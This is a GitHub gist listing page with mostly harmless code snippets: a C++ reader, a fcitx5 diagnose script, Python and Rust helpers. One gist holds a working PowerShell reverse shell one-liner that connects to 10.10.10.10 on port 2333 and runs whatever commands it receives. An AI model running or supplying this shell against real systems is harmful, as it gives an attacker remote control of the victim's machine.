Skip to content

Instantly share code, notes, and snippets.

Avatar
💻
busy with working

Aloxaf Aloxaf

💻
busy with working
View GitHub Profile
View qread.cpp
#include <cstdio>
#include <iostream>
#include <string>
#include <tuple>
template <typename... Ts>
std::tuple<Ts...> qread()
{
return std::tuple<Ts...>{ ([]() -> Ts { Ts t; std::cin >> t; return t; })()... };
}
@Aloxaf
Aloxaf / fcitx5-diagnose.sh
Created Jul 4, 2020
实验性的 fcitx-diagnose for fcitx5
View fcitx5-diagnose.sh
#!/usr/bin/env bash
shopt -s extglob nullglob globstar
export TEXTDOMAIN=fcitx5
__test_bash_unicode() {
local magic_str='${1}'$'\xe4'$'\xb8'$'\x80'
local magic_replace=${magic_str//\$\{/$'\n'$\{}
! [ "${magic_str}" = "${magic_replace}" ]
}
@Aloxaf
Aloxaf / powershell_reverse_shell.ps1
Last active Dec 2, 2019 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
View powershell_reverse_shell.ps1
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Aloxaf
Aloxaf / sync_from_pixiv.py
Created Nov 26, 2019
从 P 站下载图片元数据
View sync_from_pixiv.py
#!/usr/bin/python
from pixivpy3 import *
from pathlib import Path
from typing import *
from concurrent import futures
from os import system
import json
View bsearch.py
def lower_bound(array, first, last, value): # 返回[first, last)内第一个不小于value的值的位置
while first < last: # 搜索区间[first, last)不为空
mid = first + (last - first) // 2 # 防溢出
if array[mid] < value:
first = mid + 1
else:
last = mid
return first # last也行,因为[first, last)为空的时候它们重合
@Aloxaf
Aloxaf / type_check.py
Created Jan 11, 2019
借助 Type Hint 进行运行时类型检查的 Python 装饰器
View type_check.py
# https://aboutsimon.com/blog/2018/04/04/Python3-Type-Checking-And-Data-Validation-With-Type-Hints.html
from functools import wraps
from inspect import getfullargspec
from typing import get_type_hints
def validate_input(hints, **kwargs):
# iterate all type hints
for attr_name, attr_type in hints.items():
View fence.py
def array_split(A, k):
return [A[i:len(A):k] for i in range(k)]
# by std_xris @ telegram
@Aloxaf
Aloxaf / read.rs
Created Oct 13, 2018
Rust read function for OJ
View read.rs
use std::fmt::Debug;
use std::io;
use std::io::prelude::*;
use std::str::FromStr;
/// read into a specific type
///
/// # Example:
///
/// ```
@Aloxaf
Aloxaf / __init__.py
Created Aug 9, 2018
use hex instead of ascii when display bytes in ipython
View __init__.py
'''
to load allhex any where
copy allhex.py and __init__.py to folder "~/.local/lib/python3.7/site-packages/allhex/"
(3.7 is your python version)
'''
from .allhex import *